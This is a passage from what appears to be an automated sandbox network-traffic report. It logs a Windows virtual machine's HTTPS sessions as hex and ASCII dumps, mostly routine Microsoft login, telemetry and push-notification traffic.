ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-26 11:49:38 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-07-26 11:49:38 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	59081	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4697 Host: login.live.com
2024-07-26 11:49:39 UTC	4697	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-26 11:49:40 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Jul 2024 11:48:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: fe5ef29a-c6b1-484b-8564-ff21597460b1 PPServer: PPV: 30 H: BL02EPF0001DA2C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Jul 2024 11:49:39 GMT Connection: close Content-Length: 10921
2024-07-26 11:49:40 UTC	10921	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	59082	20.190.159.68	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4697 Host: login.live.com
2024-07-26 11:49:40 UTC	4697	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-26 11:49:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Jul 2024 11:48:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 87be4ada-5e54-446b-822f-1b852d8d94b9 PPServer: PPV: 30 H: PH1PEPF00012009 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Jul 2024 11:49:40 GMT Connection: close Content-Length: 10921
2024-07-26 11:49:41 UTC	10921	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	59084	20.42.73.29	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:40 UTC	1087	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket: t=EwCwAlN5BAAUIUShNzVa+rgHy/M+tY/dQyCg+nEAAUn6pT9gHQ8X2U1uWFmgnXaCwz24iVIsmMGOR2D5pFNLEL6jdfgLbe4LDZgeabQWbfkfyfFvny4t8q4Lg4u4Cs1ieJUwwCiQC4ZZZbrY50Zo0ckZqfsMhRN9hsSmlk6NAcoB3cXkzV323RU8i2ZP+Lh7QJbGArK8w0kgU0dkIvZwwE8Bh4tUr0Xc8Rzq9L8vwvc5q+2zGuiAhkiSVj+4BHStbpDhHsP/RwrkqILZVGrAKvlv4LWGiqfH9bNOmuuAqOpPo3dhFKi9GPP5Z/cHm9YkAksPtzDQQ5y5TAshiLGOQIqZ49/EzFM2V659+W0hukXuj5ksbbSWZNC3KEof7NADZgAACCq/SXw1T39GgAHg5Ha6nJyo5f0zOhiNWiejIlgfsiEAP1eFi3No0OsAOqp4I/kBo3Hwxzq/52RHqa7wrjVxAZwglJh3ksiN2FjnMZKj1j88HmaNBTX3uXHxagpgvSFaZvCvFy3lDJG0t0uzVUfkzfPycMMi2mSjOL3fkvm1/73MW5MXRVmA99Z4x2PKjXzHlYW3+Ei8cIt/HMYPv5/a6QHOIxjq1SyzTQ2bUszTz17PLvUCiscg/kgWDhJXKynOolk74+auuBzOk3/BQu8fmvnfL1vuARBnmV6l/mDRdUcz8UssDVJHR13friFbgq3r63aSMXkhayatMbw3VqqqGbCScjnpW5XZKQnZne/DrIGmDfGtTeUSmrxqO+2xUlylnh7iIeOh8pA5XynrWwnlcR1LM7tnONKcrUSmbP+cX5OwoQnk8MTiqi1nQIfKVo/CG+q/r5lpxdbvewcH9gSi0q8dPFXJJ7AZojc6H05uODBQKMHgOBMrGRcbcwWammNZeMcbWdIebTp96iq1AQ==&p= Content-Length: 4583 Host: umwatson.events.data.microsoft.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	59086	20.42.73.29	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:42 UTC	1087	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket: t=EwCwAlN5BAAUIUShNzVa+rgHy/M+tY/dQyCg+nEAAT0Q1D12VNw1fTxX4FT0iIGJaSNYWU8cL6tBaxV3mazZqxrCBgpLwqRxuU1mOCCP90+EhRjStwDrDO6aG5g+6yVsgYJsJ/MaQ38uYCViVOursJ8flI5+73b8F2LjG5seAGy5VS9ML5U8PQs7yJejY0WdM6zAyNC0vi5lH3rub9ixlAdslKNdFCli/tdn1I+wCtUKIvoFwfKjOkWhkjBhT4TxS7EXmzLlDGnXF9SrBEhU2eLG5I7We8+JrloIP1UAKtDN8BSFYDU5gTBc0eHmcrjS2HmlVCo2LVZjSE+Ly7sIjJuM8gyU2HA3B6LP43Z4Tdzj3W78+CPJnDlo8BUnt7wDZgAACEtB/5/5x6yKgAFum0CrBNBuqKAl44bwt/7P7wgzvNTYBdZX2rphGKenrEsRgloShR8uCY0/fucnc7z3xuZfquEKtuW+lJ6GMVyaLmlGDNk1gwGoK6U+4ooXkVxPuUWOlL3MSW1wkDTwg7G5FBd8TBr+b8TCN5z3W4CUlkv2N5qY/RHWBJiGIUyJnCrumtpKGUGqeBuR9XfYoyUR+3JYBN5Sl6tzC6JUsaemq3pmC4dJ9bd5mS4ce9OPV4DmMGlLePrauz3mWihw5wpY0XIYOxpCJvSegS/wR7LMrRYPRyotyhMP8Gg52vhmUcODC5KUtzxnZXQusRDfkPulDsIPnkIRUYbk/whm8a+GBqg/JbVkF2Zn8Snza73PVBgA9ybFaaWODRcPBWcpFutvC+rpJ+iOvnZrLQ/VRQmJhFnAADhYPGGUUiyggVsrVgDG7rUzNk6iy4/m4Uv8+Un0Oa+hcM2jpOyms+91jiwWW9VzEF8J2iweJRpjXcioT77AQ0FrGljLu4U6v9dWooC1AQ==&p= Content-Length: 4583 Host: umwatson.events.data.microsoft.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	59087	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:42 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 76 4a 69 48 41 6b 58 64 78 30 4f 64 32 55 47 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 31 37 38 32 66 64 65 35 35 64 66 36 37 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: vJiHAkXdx0Od2UGA.1Context: c41782fde55df67e
2024-07-26 11:49:42 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:49:42 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 76 4a 69 48 41 6b 58 64 78 30 4f 64 32 55 47 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 31 37 38 32 66 64 65 35 35 64 66 36 37 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: vJiHAkXdx0Od2UGA.2Context: c41782fde55df67e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:49:42 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 76 4a 69 48 41 6b 58 64 78 30 4f 64 32 55 47 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 31 37 38 32 66 64 65 35 35 64 66 36 37 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: vJiHAkXdx0Od2UGA.3Context: c41782fde55df67e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:49:42 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:49:42 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4e 69 39 6b 64 70 46 75 75 6b 2b 2b 59 2f 42 4f 77 58 56 77 70 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Ni9kdpFuuk++Y/BOwXVwpA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	59102	20.42.73.29	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:49:49 UTC	1087	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket: t=EwCwAlN5BAAUIUShNzVa+rgHy/M+tY/dQyCg+nEAAT0Q1D12VNw1fTxX4FT0iIGJaSNYWU8cL6tBaxV3mazZqxrCBgpLwqRxuU1mOCCP90+EhRjStwDrDO6aG5g+6yVsgYJsJ/MaQ38uYCViVOursJ8flI5+73b8F2LjG5seAGy5VS9ML5U8PQs7yJejY0WdM6zAyNC0vi5lH3rub9ixlAdslKNdFCli/tdn1I+wCtUKIvoFwfKjOkWhkjBhT4TxS7EXmzLlDGnXF9SrBEhU2eLG5I7We8+JrloIP1UAKtDN8BSFYDU5gTBc0eHmcrjS2HmlVCo2LVZjSE+Ly7sIjJuM8gyU2HA3B6LP43Z4Tdzj3W78+CPJnDlo8BUnt7wDZgAACEtB/5/5x6yKgAFum0CrBNBuqKAl44bwt/7P7wgzvNTYBdZX2rphGKenrEsRgloShR8uCY0/fucnc7z3xuZfquEKtuW+lJ6GMVyaLmlGDNk1gwGoK6U+4ooXkVxPuUWOlL3MSW1wkDTwg7G5FBd8TBr+b8TCN5z3W4CUlkv2N5qY/RHWBJiGIUyJnCrumtpKGUGqeBuR9XfYoyUR+3JYBN5Sl6tzC6JUsaemq3pmC4dJ9bd5mS4ce9OPV4DmMGlLePrauz3mWihw5wpY0XIYOxpCJvSegS/wR7LMrRYPRyotyhMP8Gg52vhmUcODC5KUtzxnZXQusRDfkPulDsIPnkIRUYbk/whm8a+GBqg/JbVkF2Zn8Snza73PVBgA9ybFaaWODRcPBWcpFutvC+rpJ+iOvnZrLQ/VRQmJhFnAADhYPGGUUiyggVsrVgDG7rUzNk6iy4/m4Uv8+Un0Oa+hcM2jpOyms+91jiwWW9VzEF8J2iweJRpjXcioT77AQ0FrGljLu4U6v9dWooC1AQ==&p= Content-Length: 4583 Host: umwatson.events.data.microsoft.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	59155	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 11:50:18 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 59 63 64 5a 68 34 6c 31 74 30 32 41 54 66 6a 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 38 35 30 37 31 39 39 66 34 64 37 66 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: YcdZh4l1t02ATfjb.1Context: 7a18507199f4d7fe
2024-07-26 11:50:18 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 11:50:18 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 59 63 64 5a 68 34 6c 31 74 30 32 41 54 66 6a 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 38 35 30 37 31 39 39 66 34 64 37 66 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 67 7a 55 54 5a 78 4d 32 49 32 4e 36 51 78 64 6e 43 38 44 54 41 4f 73 43 66 4a 4c 35 63 6a 76 76 57 57 63 4c 58 4b 4a 67 35 44 36 79 75 67 66 70 79 2f 58 67 55 63 77 66 35 6b 39 57 38 6a 54 47 45 49 71 33 35 44 63 66 33 56 45 51 4f 4d 67 74 42 74 37 39 53 64 33 68 2b 42 73 41 4e 64 4a 4c 6e 59 57 64 59 46 6f 6a 71 4b 68 44 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: YcdZh4l1t02ATfjb.2Context: 7a18507199f4d7fe<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUgzUTZxM2I2N6QxdnC8DTAOsCfJL5cjvvWWcLXKJg5D6yugfpy/XgUcwf5k9W8jTGEIq35Dcf3VEQOMgtBt79Sd3h+BsANdJLnYWdYFojqKhD
2024-07-26 11:50:18 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 59 63 64 5a 68 34 6c 31 74 30 32 41 54 66 6a 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 31 38 35 30 37 31 39 39 66 34 64 37 66 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: YcdZh4l1t02ATfjb.3Context: 7a18507199f4d7fe<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 11:50:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 11:50:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 31 65 35 35 50 65 62 30 4e 30 65 50 47 35 47 6f 74 70 6b 32 4c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 1e55Peb0N0ePG5Gotpk2LQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	63391	13.107.246.73	443	9004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
